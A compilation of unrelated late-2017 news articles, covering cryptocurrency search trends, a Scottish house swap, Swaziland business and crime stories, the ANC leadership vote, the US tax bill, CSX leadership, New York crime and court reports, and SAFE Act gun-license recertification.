There has been an incredible surge in interest of the three cryptrocurrencies  with a 4,287 per cent increase in searches for litecoin in 2017, statistics from Hitwise Monitor show.

It analyses the online behaviour of 3million Britons, using the likes of Google, Bing, and app data. Bitcoin has seen an 819 per cent rise in interest and ethereum 2,371 per cent.

Bitcoin boom: There has been a 819% rise in 2017 of people searching for bitcoin online

The increase in searches for the cryptocurrencies on the internet are still dwarfed by the percentage growth of each online currency.

The value of both ethereum and litecoin have risen around 7,000 per cent since January to $730 and $321 a coin respectively, while bitcoin  the most familiar of the bunch  is up more than 2,000 per cent to a huge $19,000 a coin.

Bitcoin was created in January 2009, litecoin October 2011 and ethereum July 2015.

The data also shows that the number of people searching for bitcoin has increased 120.3 per cent in the last month - and the price has doubled in three weeks.

Ethereum searches are up 110.2 per cent and litecoin 199.5 per cent.

Bitcoin: The top graph shows how searches for bitcoin have boomed in recent weeks - and the price has surged in line with this trend

In the last month, searches for 'bitcoin wallet' have increased 147 per cent and the four most popular terms to search for with bitcoin is price, mining, cash and wallet, according to the comprehensive data.

Furthermore, it shows it is the younger generation searching more about crpytocurrencies than any other age group.

Ethereum: There is also a similar pattern with the number of searches for ethereum versus its price

The statistics show that 18-24 year olds are 25 per cent more likely to search for bitcoin than the average population.

This is even more pronounced when split by gender  18-24 year old males are 41 per cent more likely.

The next age group  those between 24-34 - are slightly less to look, but still 12 per cent more likely than the average population to engage with bitcoin, Hitwise says.

Litecoin: The cryptocurrency, launched in 2011, has seen the biggest surge in internet searches this year

Meanwhile, those in London are more likely than any other region to search for bitcoin, Wales the least.

According to Hitwise, five of the websites people are most likely to visit after searching for bitcoin are bitcoin.org, Wikipedia, CoinDesk, topbrokers.trade and Youtube.

Bitcoin has almost doubled its price in just three weeks  prompting further warnings from experts of a dangerous bubble.

The online crypto-currency hit a high of $19,757 before dropping by more than $1,000 yesterday.

CME Group became the second US exchange to take bets on the future price of bitcoin, in a major boost for its credibility.

But seasoned market followers and watchdogs continue to have major concerns about the volatile investment, saying punters are putting their life's savings at risk.

France has called for the G20 group of major economies to discuss bitcoin regulation at next year's summit in April.

And Lars Rohde, governor of the National Bank of Denmark, said: 'You have to stay away from bitcoin. It is dangerous.'

Sopnendu Mohanty, of Singapore's monetary authority, said: 'Bitcoin has no natural intrinsic value.'
A couple and a young family saved hundreds of pounds worth of estate agent fees by agreeing to switch their homes.

David West and his wife Margaret, from Kinross, near Edinburgh, wanted to downsize so changed houses with John and Kelly Davie, who were looking for a bigger home.

Mr West, a duty manager at a student residence, listed his three-bedroom, detached family home worth 189,000 on a website in May this year.

John and Kelly Davie (right) outside their new 189,000 home, previously owned by David and Margaret West (left), at Leven Place in Kinross, Scotland

They have become the first homeowners in the UK to swap their houses permanently following a HouseSimple home viewing. Pictured: The Wests new 135,000 home at Muirs in Kinross

John and Kelly Davie and their daughter Lucy, 2, with David and Margaret West inside the Wests' new home (previously owned by the Davies) at Muirs in Kinross

John Davie found Mr West's house on the HouseSimple website and put in a request to visit the property, as he was looking for a larger house for his wife, Kelly, and their two-year-old daughter, Lucy, to live in.

While he was looking round the house Mr West mentioned that he and his wife Margaret were thinking of down-sizing as their two adult daughters were leaving the family nest.

When Mr Davie, a data analyst, mentioned he had a 135,000 two-bedroom semi-detached house they had not put on the market yet, Mr West suggested the idea of a home swap.

How to swap your house The legal process concerning a house swap is identical to that of a normal sale or purchase - the only difference is that neither party has to pay estate agency fees if they do not use one. Buyers in England still have to pay stamp duty and those in Scotland Land and Buildings Transaction Tax on the sale value of the property. Buyers and sellers must also pay a solicitor for conveyancing, which involves the legal title of the property being transferred from seller to buyer. Sellers must also pay for an energy performance certificate costing 60 to 120 to show how much energy the property is likely to consume. In Scotland, buyers must commission a homebuyer's report before going through with a sale. This costs 400 and notes any structural issues with the property. It might also include a valuation. This is voluntary in England. If the two parties commission a professional to value their houses this must also be paid for. Advertisement

He and his wife then viewed Mr Davie's house in Kinross and both parties confirmed a home swap and put in offers on each other's properties, which are just five minutes drive around the corner from each other.

The Davie's paid the Wests the difference between their two homes, which came in at just under 55,000.

The Wests paid an estimated 880 worth of Land and Buildings Transactions Tax, the Scottish equivalent of Stamp Duty, on the sale of their home while the Davie's did not breach the threshold so paid nothing.

In addition, the Wests paid an estimated 695 fee to HouseSimple for the cost of advertising the property.

They swapped homes on October 12, 2017.

Mr West said: 'The house swap allowed us flexibility on the move date and enabled us to solve moving-in issues such as finding the stop cock when I needed to isolate the water in the bathroom, and the knack to locking the patio door.'

Mr Davie said: 'The house swap made perfect sense as both our properties had what the other wanted.

'The process of finding David's house online made it convenient to find the property we wanted.'

The West's old house on Leven Place is a three-bedroom detached house with parking space for four cars and a garden at the front and back. Pictured is the kitchen

The advert claims the property is an 'ideal' place to bring up a young family with spacious rooms including this open-plan dining room, pictured

Leven Place is a quiet cul-de-sac within walking distance of a primary and high school and includes this sitting room looking out onto a garden

Pictured is the front door of the house on Leven Place, which the Davie's will now live in after swapping with the West's

Muirs The Davie's former home sold for 135,000. It is a two-bedroom end of terrace house with a grey concrete exterior and a flat roof. Inside is an open-plan sitting room and dining room and a kitchen looking out onto a small garden. The Muirs is a busy B road with a mixture of detached and semi-detached houses. Advertisement

Leven Place The West's former home sold for 189,000. It is a three-bedroom detached house with parking space for four cars and a garden at the front and back. The advert claims the property is an 'ideal' place to bring up a young family. Leven Place is a quiet cul-de-sac within walking distance of a primary and high school. Advertisement





The standard 695 fee pays for professional photographs of the property, a valuation report, advertising the property online and a dedicated account manager.

HouseSimple, which allows homeowners to sell properties direct to buyers, said it was a first for the online estate agent.

Sophie Gosling, co-founder of HouseSimple, said: 'David and John have provided a glimpse into the future of home buying.

'Our service has meant that John could easily find David online, and we're really happy for them and their families that they have found their dream homes in time for Christmas.'

The Davie's former home is a two-bedroom end of terrace house with a grey concrete exterior and a flat roof. Pictured is the living room

Inside is an open-plan sitting room and dining room and a kitchen looking out onto a small garden

The Muirs is a busy B road with a mixture of detached and semi-detached houses. Pictured is the staircase which leads from the open-plan dining room onto a landing

This double bedroom on the first floor includes two windows looking out onto a garden


MBABANE  Despite the tough trading conditions, the Royal Swaziland Sugar Corporation (RSSC) has projected to make E900 million as profit for the financial period ending March 31, 2018.



The corporation has disclosed that this figure was their unaudited consolidated forecasted profit before taxation of the company and its subsidiaries for the reporting period.



Managing Director Nick Jackson said they were impressed with the projected profit. He explained that their half year results were typically much higher than their year-end results because that was the way their profit flows. Jackson said their profit picks around September to November and then drops again because they produce sugar during the first six months of the year and get paid at the second half of the year.



Generally, it has been a good year which was better than last year. We expect year end results to be good, said Jackson. He said mid year results would be issued soon.



The MD said they were currently going through a growth phase, which had seen the approval of the first phase of the companys extension project which includes upgrading the factory at Mhlume. He disclosed that they were working around the clock to receive approval of the second phase which would include planting more cane which would help grow the company in the coming few years.

Asked about the dividend on the basis that it was reported that a second interim dividend (dividend 50) of 99 cents per share in the currency of Swaziland for the year ending March 31, 2018 had been declared payable to shareholders registered in the books of the company at close of business on January 12, 2018, he said they paid up to 70 per cent of profit as dividend.
MBABANE  Efforts by warriors to look presentable during the main Incwala Ceremony are likely to be let down by the shortage of inyoni from the local markets.



Inyoni is a traditional piece of the whole attire that is made up of bird feathers from special species. It is used only during the main Incwala Ceremony and traditional weddings.

During random visits to various outlets that sell traditional regalia yesterday, it appeared that most local shops were running short of the inyoni.



A response from the shop owners was that the product was in short supply.

However, they said they would try everything in their powers to have the item available in the market before the main Incwala Ceremony.



Inyoni is scarce from the suppliers but we will continue to place our orders since many people have indicated that they want it, said one of the shop owners.



Inyoni is sourced from various countries including South Africa, Zimbabwe and Mozambique.

It could not be ascertained why these countries were facing a shortage of the item.

It is not the first time for the country to run out of the attire. The scarcity of the attire saw some warriors opting for other feathers during the main Incwala Ceremony last year.
NGWENYA  Over 10 police officers and SRAWU leadership clashed regarding designated areas of protest.

SRAWU is the Swaziland Revenue Authority Workers Union.



The on strike Swaziland Revenue Authority (SRA) workers had moved from their designated areas of protest to block the access road for outgoing trucks at the Ngwenya Border Gate yesterday. This is the same move that the striking employees recently applied, blocking the trucks while police watched.



During the first day of the strike last week Wednesday, at least eight trucks destined for South Africa were blocked by the striking SRA employees, who demanded the drivers to blow the horn before gaining access to the road. The outgoing trucks were blocked for a few minutes before they could be allowed into the parking bay.



SRAWU Secretary General Moses Masilela addressed the employees, stating that they would not be intimidated as they were picketing at their workplace. This seems to have angered the police officers, who threatened to use force if the union and its members continued to block the road.



The police immediately roped in the SRA Head of Security at the Ngwenya Border to try and reason with the union and its membership.

However, this made the situation worse as the union leadership did not want to hear anything and argued that police officers were taking sides.



Masilela and his leadership moved aside where they communicated with the police. Thereafter, they finally heed to the demands of the police.








Cape Town  The rand rallied to a nine-month high under R12.60 to the US dollar as news broke that Cyril Ramaphosa won the ANC leadership race at the partys 54th National Conference at Nasrec in Johannesburg yesterday.



But it was not only the markets that erupted in cheer. While South Africa was waiting with bated breath for the result, the visuals coming from Nasrec showed jubilant crowds and Ramaphosa looking far happier than his opponent Nkosazana Dlamini-Zuma.



Not even rumours of a recount could dampen the spirit at Nasrec, with delegates singing as they as they bided their time until the announcement of the official result was made at around 7pm yesterday.



In addition to Ramaphosa the ANC Top 6 are Mabuza, deputy president; Ace Magashule, secretary general; Jessie Duarte, deputy secretary general; Gwede Mantashe, national chairperson and Paul Mashatile, treasurer general.



TreasuryOne dealer Wichard Cilliers earlier told Fin24 in a snapnote that the rand remained strong at R12.60/US$ despite the rumour of a recount as Cyril has won but the NDZ camp is unhappy with the result.



The crowd lifted the roof as the announcement came that the deputy president received a total of 2 440 votes, while President Jacob Zumas ex-wife and the former African Union chairperson received 2 261 votes.



This meant there was a difference of 179 votes between the two candidates. The rand had been strengthening for the past month, in part due to sentiment that Ramaphosa, who is seen by some as more business friendly than Dlamini-Zuma, would claim the top spot.

Geoff Blount, managing director of BayHill Capital, said the local currency may weaken further.






MBABANE  A church is meant to be a place of worship but a man saw it as a perfect spot to commit crime and further attempt to end his life.



This is an incident which occurred at a church belonging to popular gospel star and pastor, Mduduzi Simelane, who is widely known as Gawuzela in the music circles.



The man, estimated to be in his early 20s, allegedly forced entry into Simelanes Gods Grace Miracle Point International Church, situated at Phuzumoya, on Sunday night where he took sound system items including microphones.



He might have realised that he had committed a sin as he then attempted suicide in the morning by hanging himself, approximately 150 metres from the church.



Information gathered is that the man was saved by residents who found him hanging from a tree and writhing in pain. It is not known where he had kept the items when he attempted to end his life but it is suspected that he succeeded in taking them, something which was discovered after inspection inside the building.



Unconfirmed reports are to the effect that he had allegedly committed another crime of stealing from a nearby butchery before breaking into Simelanes church.



After rescuing him, the residents are said to have informed some senior members of the church, who came and called the police from Siphofaneni Police Station.
MAKHONZA  Church leaders are usually the first point of reference whenever people encounter problems, but seemingly a cleric from Makhonza did not have anybody to confide in when trouble set in.



The well-known Archbishop Philemon Danda Mkhonta (56), who led the Ekuphileni Church in Zion, apparently took his life on Saturday by ingesting the deadly grain weevil tablet after an earlier attempt to end his life with a gun failed.



Reports are that the respected church leader, who was also employed as a driver at the Shiselweni Regional Health Offices, took the deadly fumigant before driving himself to some maize fields, which are located about 3km away from his homestead.



It is at the maize fields where the clergyman reportedly made a call to one of his brothers, informing him to come and take his body to the mortuary because he was about to die. The family member is said to have rushed to the scene, where his fears were confirmed.

The archbishop was found lying in agony at the back of his van, where he had started to vomit.



A witness said the preacher was then conveyed to a health facility, where he died while receiving treatment.

He was later declared dead by medical personnel.

Many of the people this publication spoke to seemed not to know why exactly the man of the cloth killed himself, as there was no suicide note he left behind.



However, earlier events which included the police and family members could somehow give a pointer of what actually happened, culminating to the tragedy.
WASHINGTON - On the eve of the House vote to approve the final draft of the GOP tax bill, Rep. Elise Stefanik said she would vote "no because of limits placed on the state-and-local tax deductions upon which many New York taxpayers depend.

The revised bill is scheduled for a vote in the House Tuesday and in the Senate on Wednesday. If both GOP-dominated bodies approve the bill, as expected, it should land on President Trumps desk before the end of the year for enactment.

In announcing her decision in a statement, Stefanik took a shot at Albany lawmakers and Gov. Andrew Cuomo, saying: "Due to Albany's failed leadership and inability to rein in spending, New York is one of the highest taxed states in the country, and families here rely on this important deduction to make ends meet.

In a conference call with reporters, Cuomo quickly responded when asked about Stefaniks dig.

"If she has a problem with spending, she cant be looking to the state budget, which has had the lowest increases in recorded budget history, Cuomo said. "The representative should work with her local governments to reduce property taxes. She should look in her own back yard.

Stefanik, in her second term representing the North Country, is facing challenge from several Democratic contenders hoping to unseat her in 2018.

"By voting against the tax bill, Stefanik is able to undercut some Democratic criticisms of her voting record, strengthen her bipartisan credentials, and choose constituency over party, said Harvey Schantz, chair of the political science department at SUNY Plattsburgh. "It is simply not feasible to always toe the party line while representing a swing district."

Rep. John Faso also said on Monday that he too would oppose the bill, which creates a $1.5 trillion deficit over the next 10 years from tax cuts that Trump and Republican congressional leaders argue will be offset through the bills stimulating economic growth.

"I remain concerned that as a result of the states high income and property taxes, the partial elimination of the SALT deduction  impacts New York families more severely than those in other states," Faso said in a statement. "These families have already made financial decisions based on this deduction, and to have it removed without any chance to prepare is unfair."

Faso and Stefanik were among the five New York Republican House members to vote "no" on the tax bill when it first passed the House on Nov. 16.

The others were Reps. Lee Zeldin and Peter King, both of Long Island, and Dan Donovan, whose district covers Staten Island and parts of Brooklyn. New York Republicans voting "yes" were Reps. Claudia Tenney of Utica, John Katko of Syracuse, and Chris Collins and Tom Reed, whose districts encompass most of Western New York.

Stefanik said at the time she could still vote for the final bill and would work to change its treatment of the SALT deduction, which under current law allows taxpayers to deduct property and sales taxes, and state income taxes.

The House bill initially eliminated all forms of the SALT deduction. But under pressure from New York Republicans as well as those from California and other high-tax, high-expenditure states, House GOP leaders returned a deduction for property taxes. But it would be capped at $10,000.

The Senate bill won approval earlier this month with similar language.

Stefanik and Faso were among the Republicans who urged House Republican leaders including Ways & Means Committee chair Kevin Brady, R-Texas, to add back deductions for state income tax payments. Stefanik was adamant that in her district, deductions for income tax were in many cases more significant than those for property taxes.

Republicans blending the House and Senate bills together for a second vote widened the SALT deduction to allow a mix and match of property, state income and sales taxes.

Late last week, her spokesman said that Stefanik was "pleased the final bill is "moving in a positive direction on the SALT deduction and other elements such as setting the cap on new mortgage-interest deductions at $750,000.

But Stefanik bridled at an Albany Times Union story Saturday that said she was "leaning toward voting yes, based in part on the final bills tweaking of the SALT language. The phrase was virtually identical to one that appeared in Fridays Times Union, to which neither Stefanik nor her spokesman objected.

"Our office has never stated that we are a lean 'yes,' Stefanik said Saturday on Twitter. "I continue to listen to constituents for feedback and am currently leaning no on the bill that is scheduled for a vote next week.

On Monday she declared herself a "no" vote.

"I support comprehensive tax reform that provides relief for families and businesses in our district, Stefanik said. "I voted against the tax bill when it first came before the House because it did not provide enough relief for New Yorkers.

Like Stefanik, Faso has been careful to separate his opposition to the tax bill of his own party from that of the Democrats  who are uniformly poised to vote "no.

Faso bases his opposition on fears that a scaled-back SALT deduction would entice the exit of upscale New Yorkers who shoulder a fair portion of the states tax burden.

The Democratic argument that the GOP bill favors the rich at the expense of the middle class and poor is "flat wrong, he said.

In the 19th Congressional District that encompasses much of the Catskills on both sides of the Hudson River, 30 percent of taxpayers now take advantage of SALT deductions through itemizing, Faso said.

If the tax bill becomes law, Faso said he expects that figure will drop to eight percent. Taxpayers would find it advantageous to stop itemizing and switch to the bills doubled standard deduction of $24,000 for a couple, he said.

The votes of Stefanik and Faso did not affect the outcome of the first House vote Nov. 16, and they are unlikely to do so Wednesday.

Democrats, for their part, have cited several Congressional Budget Office and Joint Committee on Taxation studies. They show major breaks for the wealthy through lowered brackets, a corporate tax rate dropping 15 percentage points to 20 percent, and doubling of the estate-tax threshold to $11.5 million.
Omaha, Neb.

The weekend death of CSX CEO Hunter Harrison less than a year after he took the railroad's top job raises questions about the future of his reforms.

But CSX officials say the 73-year-old Harrison did enough since taking over in March to change the direction of the Jacksonville, Fla.-based railroad, and executives he trained will carry out the plan.

Harrison previously led turnarounds of Canadian Pacific and Canadian National railroads with a tightly scheduled operating model that he refined throughout his career.

At CSX, Harrison changed the way trains are assembled at eight of its 12 railyards, idled hundreds of locomotives and the railroad eliminated roughly 4,000 jobs.

The changes led to severe service problems over the summer, and three top CSX executives departed last month. But service has been improving through the fall.

Two days before Harrison died on Saturday, CSX named Jim Foote acting chief executive. Foote arrived at CSX two months ago, but had worked with Harrison for more than a decade at Canadian National.

"Once joining CSX, I realized just how much progress has been made replicating the transformation we effected at Canadian National some years ago. I believe that the battleship here has turned," Foote said in a call with investors Friday after Harrison went on medical leave.

Foot said more than 150 mid-level managers at CSX have been trained in Harrison's operating model.

CSX's stock fell almost 8 percent Friday after it was reported Harrison was taking a medical leave. The stock recovered about 1.3 percent Monday, rising 66 cents to close at $53.59.

Stifel analyst John Larkin said he thinks Foote will carry on with Harrison's plan without many issues.

"Mr. Foote has roughly 40 years of experience in the industry and was instrumental in ably assisting Mr. Harrison in the dramatic transformation of the Canadian National Railway which largely took place between 1998 and 2009," Larkin wrote to investors.

JP Morgan analyst Brian Ossenbeck said investors need to know more about the executives who will work with Foote and the railroad's succession plan. But he predicted that Harrison's legacy will endure at CSX.

CSX plans to outline its strategy for investors at a conference in March.

Raymond James analyst Patrick Brown said Harrison's death and last month's departure of CSX's chief operations officer and chief marketing officer raise questions about whether there is enough expertise on hand to implement his operating model.

Harrison was hired at CSX after the Mantle Ridge hedge fund bought a stake in the railroad and began urging changes.

After shareholders approved it, CSX agreed to pay $84 million to cover compensation that Harrison lost by retiring early from Canadian Pacific.

CSX operates more than 21,000 miles of track in 23 Eastern states and two Canadian provinces.
CHATHAM  Three hunters were arrested Saturday after being accused of illegally killing eight bucks in Columbia County, according to the PBA of New York State, the union that represents the officers who made the arrests.

State Environmental Conservation Officer Jeff Cox received an anonymous tip on Saturday that a poacher had illegally shot a buck after dark on Friday evening. Cox and his partner, EnCon Officer James Davey, went to the alleged poacher's home to investigate and found him preparing several antlered deer for processing and display.

During an interview, the man admitted he had shot the two larger deer Friday night and did not tag a third he'd also killed, the PBA said in a Monday statement. The man also implicated two other men, the union said.

The officers seized eight bucks in total: one 10-point trophy, three 8-pointers, one 6-pointer, two 5-pointers and one spike.

The deer were killed by hunters who allegedly baited, stalked and shot the animals after dark with the aid of a light and night vision eyewear, the union said. The meat was donated to the Columbia County Hunters for the Hungry Program.

Three people were ticketed for various offenses and also charged with a total of 10 misdemeanors, which could carry a maximum punishment of one year in jail and a fine of up to $2,000, the PBA said. The three people, whose names were not released, are scheduled to appear in Chatham Town Court in January.

The arrests come weeks after Gov. Andrew Cuomo signed a law that increases the penalties for the first offense of illegally taking deer and established penalties for repeat offenders. It was sponsored by state Assemblywoman Carrie Woerner of Washington County and state Sen. Joseph Robach of Monroe County.

"Wildlife is held in trust by the State for all citizens to enjoy. Whitetails are the most popular game animal in North America," the legislation reads. "Too often individuals apprehended for deer poaching receive only a slap on the wrist."

The PBA of NYS has asked the state to increase the number of environmental conservation police officers. The union said there are currently 250 people on the force and each officer is responsible for about 200 square miles.

"Duties include enforcement of New York environmental conservation laws targeting the protection of our air as well as rivers, lakes and streams that threaten our water supplies," the union said. "They also play key roles in various homeland security measures such as radiation detection and maritime interdiction and other emergency response roles."
A Helena woman was arrested Saturday morning after being found in a stolen car that had been painted a different color.

Kylie Ashton Grassmyer, 29, is being charged with theft, criminal mischief, possession of heroin and possession of drug paraphernalia.

A citizen called police about a suspicious car parked nearby and requested a welfare check on the driver because of the cold weather, according to court documents. A sheriff's deputy who checked the vehicle identification number determined that the car had been stolen.

The deputy woke Grassmyer, who was sleeping in the drivers seat of the car, and placed her under arrest, according to court documents. The deputy searched the vehicle and discovered a baggie with a substance determined to be heroin, a pipe with burnt black residue, and a digital scale.

The owner said the car had been painted, causing more than $1,500 worth of damage.
ALBANY  A home on Livingston Avenue sustained heavy damage in a fire Monday evening.

Firefighters responded to a call at 4:47 p.m. and found heavy smoke and fire on the first floor of the two-story home at 793 Livingston Ave., said Albany Deputy Fire Chief Joseph Gregory.

No injuries were reported. Four residents were displaced and the fire was under control at 5:23 p.m., Gregory said.

A dog was found inside but emergency personnel were not able to resuscitate the dog, said Gregory.

The home next door at 791 Livingston Avenue also was damaged.

The cause of the fire is under investigation.
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ALBANY  Jurors convicted ex-Albany city water worker Edward "Ted" Mero on Tuesday of murdering two women in mysterious deaths he tried to cover up in a fire and in the remote woods of Coeymans.

The panel of seven women and five men, which began deliberating Thursday afternoon at 3:21 p.m., delivered its verdict to Albany County Judge Peter Lynch shortly after noon: Guilty on all charges.

Mero, 30, faces 50 years to life in prison when sentenced Feb 13 for the murders of Megan Cunningham and Shelby Countermine, both 23.

"I'll never, ever stop missing her, but I'm thankful that finally the man who took her from me in such a brutal horrible, horrific way is in jail," Lori Dean, the mother of Countermine, told the Times Union.

Her daughter vanished Dec. 3, 2014 after meeting Mero for a would-be $500 five-hour prostitution "date" at the Albany home of his parents, who were away in Hawaii. Countermine's remains were discovered more than five months later in a wooded area of Coeymans where Mero had worked. Her face showed signs of having suffered blunt force trauma.

Cunningham, Mero's roommate at 12 Arcadia Avenue in the Delaware Avenue neighborhood, perished in a Jan. 27, 2013, fire that was initially ruled accidental.

The families of Countermine and Mero attended every day of the three-week trial, which began Nov. 29 with jury selection. Countermine's mother said the pending trial had been hanging over the family.

"For 162 days she was missing and for 21 days we sat in that courtroom with the man who took her from us," she said, crying. "And finally today, the world knows that Shelby mattered and Megan mattered as well."

There was much more to her daughter's life than the details of the trial revealed, she said.

"She had so much more to offer and I have to live with that emptiness in my heart," she said.

Countermine's mother lauded the work of the prosecutors and police. She singled out State Police Investigator Kevin Noto as well as Katie Merrick, a victim's advocate for District Attorney David Soares.

Mero's attorney, Cheryl Coleman, said her client appeared stoic when the verdict was read.

"You just got convicted on two crimes that could potentially, basically take you out of society for the rest of your life so I think there's a lot of shock involved on everyone's part there," she said.

Mero's parents stayed in the courtroom for a lengthy period of time after the verdict. His mother had to catch her breath; deputies made sure she was medically stable before she left, Mero's lawyer said.

In recent days, jurors had been asking questions about Cunningham's case. It was the more complicated of the two cases, Coleman said.

"The more they asked about it, the more concerned I became," she said.

Coleman said Mero would appeal. She said the judge's decision to allow the two murder cases to be tried together could be a major appellate issue.

Chief Assistant District Attorney David Rossi, who prosecuted the case with Assistant District Attorney Steven Sharp, said he believed the convictions were on solid appellate ground.

"The issue with that is there were a lot of witnesses who crossed over and that's why it couldn't be separated," he said. "It was just impossible to introduce some of the evidence we wanted to introduce without the jury knowing about the other case."

Prosecutors and the testimony of witnesses showed the following:

On May 21, 2015, a jogger discovered Countermine's remains in woods near a water pipeline in Coeymans. Mero, a native of Coeymans, had worked in the area only months earlier.

Countermine, who was addicted to heroin, had been selling her body to support her habit. In the spring of 2014, Mero found her through backpage.com and arranged at least two $20 sex meet-ups, one of which was in Countermine's apartment on Crane Street in Schenectady.

They later agreed to have the $500 "date" at Mero's parents home on Maplewood Street. Mero would tell police he exited a bathroom and saw Countermine, who had already collected $250, snorting drugs off a photo of his grandmother. He claimed he kicked Countermine out of the home, that words were exchanged and that Countermine went on her way.

But Countermine's roommate, Laurie Green, who often checked to see if Countermine was safe on "dates," became concerned when Countermine did not check back with her. Countermine did not have a cell phone; Mero previously called Green's number as a contact for Countermine. When Countermine went missing, Green reached out to Mero.

Cell phone records showed that while Mero almost never had his phone off during November 2014 and December in 2014, there were two periods between Dec. 2, 2014 and Dec. 3, 2014 when the phone was off.

Prosecutors said those were the periods they believe Mero disposed of the body of Countermine.

Cunningham's death in the fire did not appear to be a homicide. But after Countermine's body was found and Mero was suspected in that case, investigators looked back into the 2013 fire death.

Evidence showed inconsistencies with an accidental fire. On the night of the blaze, Mero and Cunningham had a home dinner with Cunningham's best friend, Shanique Campbell. The women had a few drinks and smoked pot. Campbell left.

Later that night, a woman who lived across the street heard a loud fight between a man and woman. Mero left the house and went to his parents' home. An Albany detective said Mero claimed to have slept in his car in the driveway of the home.

After the fire happened, Mero told investigators he knew his roommate had been inside. No soot had been found in Cunningham's lungs, indicating she was possibly dead before the fire started. There was a hole in the floor of the house. The stairs had been fully inflamed.

And Mero, for some reason, had not been home.

Investigators learned that Mero had told several coworkers before and after the blaze that he knew how to start a fire and get away with it. He told a date he could make people disappear.

Later, after he was arrested, Mero told two inmates in the Albany County jail he had killed Countermine. He told one of those he killed both women, confessing to the crimes as the inmate read a violent passage from the dystopian classic novel, "1984."

On Tuesday, the jury found Mero guilty of two counts of second-degree murder and two counts of tampering with physical evidence.

Countermine's mother noted both women trusted Mero,.

She quickly added: "I'm not going to talk about Ted Mero because I don't ever want to see his face again. I want to be thankful for what happened today."
Albany

County clerks across the state are seeking an emergency meeting with Gov. Andrew Cuomo and other leaders about a Jan. 31 deadline for re-certifying handgun licenses under the 2013 SAFE Act gun control law.

County clerks, who keep track of handgun licenses in their individual counties, say they are being besieged with questions about details of the new requirement. And they have their own questions about enforcement of the law.

We are unable to answer the numerous questions from our mutual constituents and other interested parties, reads a Dec. 7 letter signed by Association President Annette Hill, of New York City.

The 2013 SAFE Act which Cuomo pushed through following the massacre in which 20 children and six adults died at Sandy Hook Elementary School in Newtown Ct., is best known for its ban on assault-style weapons.

But the law also requires recertification of handgun licenses every five years. With the laws fifth anniversary approaching, handgun owners who were registered prior to January 2013 are due to re-certify.

More for you SAFE Act ammo registry goes blank before it started

Gun owners can log into a State Police website to re-certify but county clerks say they will continue to keep records of permit holders in their localities.

Permit holders can go to https://firearms.troopers.ny.gov/pprecert/welcome.faces or visit any State Police barracks to obtain the paperwork.

Gun owners in New York City, Nassau, Suffolk and Westchester counties are exempt since those locations have their own requirements in place.

State Police spokesman William Duffy said theyve received 204,080 re-certifications so far. They are reviewing the county clerks letter but extending the deadline would be up to the Legislature, he said.

That, however, is a fraction of the estimated 1.25 million permits across the state, including the exempt downstate counties, said Tom King, president of the state Rifle and Pistol Association.

Part of the problem, King said, is its unclear how complete or up-to-date the current records are so it's difficult to gauge the level of compliance.

While the handgun licenses are renewed through the State Police, they will then send the data to county clerks who compare their records against the state's list for discrepancies.

County clerks have historically kept track of permits in their localities.

Many of the pre-2013 licenses, though, are in file folders or index cards in clerks offices so checking them could turn into an overwhelming task. They dont have the people or the money to do that, King said.

There are going to be a lot of problems with this, he added.

I dont think they are organized at all and the re-certification was a way to organize things, said Rensselaer County Clerk Frank Merola, who was referring to existing state records.

He said they have received about 2,500 re-certifications from the State Police for Rensselaer County but estimates there are 18,000 handgun owners in the county. He doubts they will all hit the Jan. 31 deadline.

Likewise in Saratoga County where County Clerk Craig Hayner said that as of early December, he had 4,466 recertifications out of an estimated 18,000 pre-SAFE Act permits.

There also are legal questions which Hill referenced in her letter. While the law calls for automatic revocation if a handgun isnt recertified, that task, as well as the job of issuing licenses, has always fallen to local judges.

Aside from raising questions of local control, does that mean a county clerk or a sheriffs deputy then has to go confiscate the guns of someone who hasnt recertified?

We dont have the resources to do it and were not even clear that we have the authority to do it. There are a lot of questions about due process, said Peter Kehoe, executive director for the state Sheriffs Association.

If all of the states handgun owners dont recertify by the deadline  and if there isnt a mass push to take their guns, it wouldnt be the first time that a SAFE Act initiative has simply failed to take full effect.

The law also called for creation of a statewide ammunition registry in which gun stores would log sales into a State Police data base.

But the data base has never been built. Moreover, the Cuomo Administration along with Senate Republicans, including many who oppose the SAFE Act, struck an agreement to put the registry on hold until the Senate released funds for it.

rkarlin@timesunion.com 518 454 5758 @RickKarlinTU
Albany

Democratic lawmakers should consider a federal government shutdown rather than passing the GOP-led tax bill that Gov. Andrew Cuomo said would be a dagger to New York and other high-tax states.

If the government is about to do a terrible thing, sometimes a shutdown is preferable, Cuomo said when asked during a phone conference if New Yorks Democratic Senators Charles Schumer and Kirsten Gillibrand should try to force a shutdown to avert the tax bill.

As he has done repeatedly for much of the past several weeks, Cuomo took to the phones with reporters to denounce the federal tax cut in which income and local tax deductions would be eliminated or curtailed.

The deductions are used by many New Yorkers to help offset their school and municipal property taxes, which are the nations highest.

It was unclear if Congressional Democrats were even considering talk of a shutdown, similar to what they threatened in November over their demand for a DREAM act that would prevent deportation of people brought to the U.S. as youths but remain undocumented.

That plan fizzled amid fears that lawmakers would be blamed for a shutdown, similar to what happened in 1994.

Schumers office declined to comment and Gillibrands office didnt immediately respond.

Cuomo reiterated that the loss of deductions would seriously hurt New Yorks budget, especially if it prompted too many high-income residents to leave.

If this tax bill gets passed its going to make the need to reduce property taxes even more urgent, he said.

Cuomo wants to make permanent a shared services initiative which during this fiscal year called for localities to hold meetings on ways to save money by sharing duties and expenses such as snowplowing or employee health care.

Buying health insurance in bulk is seen as a way to save lots of taxpayers dollars but there are regulatory obstacles.

Cuomo said he has directed the Department of Financial Services to streamline rules that would make it easier for multiple municipalities or counties and school districts to purchase health coverage for their employees.

Ive asked DFS to come up with a solution that actually facilitates that kind of pooling of coverage, Cuomo said.

His office in a press statement noted that over the last decade local government employee benefit costs have risen an average of 5.2 percent annually and now make up more than 20 percent of local government spending  which is borne by local property taxpayers.

rkarlin@timesunion.com 518 454 5758 @RickKarlinTU
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Albany

New York's lobbying and ethics watchdog panel on Tuesday revealed tweaks to comprehensive lobbying regulations that are being drafted to address concerns from some special-interest groups.

One measure would establish that using billboards in an attempt to influence lawmakers, or holding rallies outside the Capitol, would not be considered "direct contact" with an elected official. The change could impact whether individuals or groups using those methods to lobby lawmakers would be required to register the activities.

The reporting requirements for "coalitions," which are generally comprised of separate groups that pool funds for a common lobbying effort, is another area the Joint Commission On Public Ethics is reviewing.

The commission members still most vote to make the regulations official, and its not clear when that will happen. Former state lobbying official David Grandeau has indicated he would file a court petition to block the measures, arguing that JCOPE does not have authority to pass the regulations.

